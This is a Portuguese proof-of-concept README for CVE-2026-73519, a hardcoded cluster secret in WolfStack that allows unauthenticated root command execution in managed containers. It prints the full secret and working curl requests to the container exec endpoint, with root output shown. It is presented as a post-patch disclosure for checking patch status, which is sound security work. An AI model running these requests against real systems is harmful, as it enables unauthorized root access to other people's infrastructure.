
PoC para CVE-2026-73519 - segredo de cluster hardcoded do WolfStack leva a RCE não autenticado (CVSS 9.8)
PoC para um segredo de autenticação padrão hardcoded no WolfStack que permite que um atacante remoto não autenticado execute comandos arbitrários como root dentro de qualquer contêiner Docker/LXC gerenciado.
| CVE | CVE-2026-73519 |
| CNA | VulnCheck |
| Aviso | GHSA-r3mw-2wmq-j6jg · Análise da VulnCheck |
| CVSS 3.1 | 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-798 (Credenciais hardcoded), CWE-306 (Autenticação ausente para função crítica) |
| Afetado | v25.9.0 e anteriores / qualquer nó que não tenha concluído a migração de segredo por instalação |
| Corrigido em | v25.9.2 / v25.9.3 |
| Crédito | Dostxodjayev Abdullox (@squeeze440) |
src/auth/mod.rs:32 inclui um único segredo hardcoded embutido em cada build do WolfStack:
const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";
auth::default_secret_accepted() (src/auth/mod.rs:430-460) aceita essa constante como uma credencial válida por padrão, a menos que o operador tenha optado explicitamente por não usá-la (WOLFSTACK_REJECT_DEFAULT_SECRET=1) ou já tenha rotacionado para um segredo personalizado. api::require_auth() (src/api/mod.rs:518-535), a única barreira que protege toda a API REST, trata uma requisição com um cabeçalho X-WolfStack-Secret correspondente como totalmente autenticada — sem sessão, sem chave de API, sem conta.
Essa barreira protege POST /api/containers/{runtime}/{id}/exec (src/api/mod.rs:7145-7167), que executa a string de comando fornecida pelo chamador exatamente como está dentro do contêiner de destino. Qualquer pessoa que tenha lido o código-fonte público (ou este repositório) pode se autenticar como um peer confiável do cluster e executar comandos arbitrários como root em qualquer contêiner gerenciado pelo nó.
A geração automática de segredo por instalação adicionada neste ciclo de lançamento só é acionada para nós sem arquivo de segredo existente e sem peers registrados (src/auth/mod.rs:250-261) — qualquer nó atualizado, qualquer nó que enfrente a race condition de inicialização documentada ou qualquer nó com um caminho de configuração não gravável permanece no padrão compartilhado indefinidamente, com apenas um aviso em uma linha de log.
Aponte TARGET e CONTAINER para uma instância do WolfStack e um contêiner que você está autorizado a testar e então:
./poc.sh http://TARGET:8553 CONTAINER_NAME
Ou manualmente:
# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"} HTTP 401
# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root, no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" \
-H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
-d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"} HTTP 200

Verificado contra o binário de lançamento genuíno v25.9.0, com checksum verificado (sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c), com um contêiner real alpine:latest como alvo. O ID do contêiner na saída da resposta corresponde ao docker ps no host vítima.
/api/containers/docker, /api/containers/lxc), sem autenticação.require_auth (gerenciamento de peers/nós, backups etc.) — este PoC tem como alvo o sink container-exec por ser o impacto mais claro, não uma lista exaustiva.Atualize para v25.9.2 ou posterior. O mantenedor mudou a aceitação do segredo padrão para rejeição por padrão e adicionou um caminho de rotação forçada para instalações existentes.
Publicado após o lançamento da correção e a atribuição do CVE, para uso defensivo/educacional — verificação do status do patch na sua própria infraestrutura. Não execute isso contra sistemas que você não possui ou para os quais não tenha autorização explícita para testar.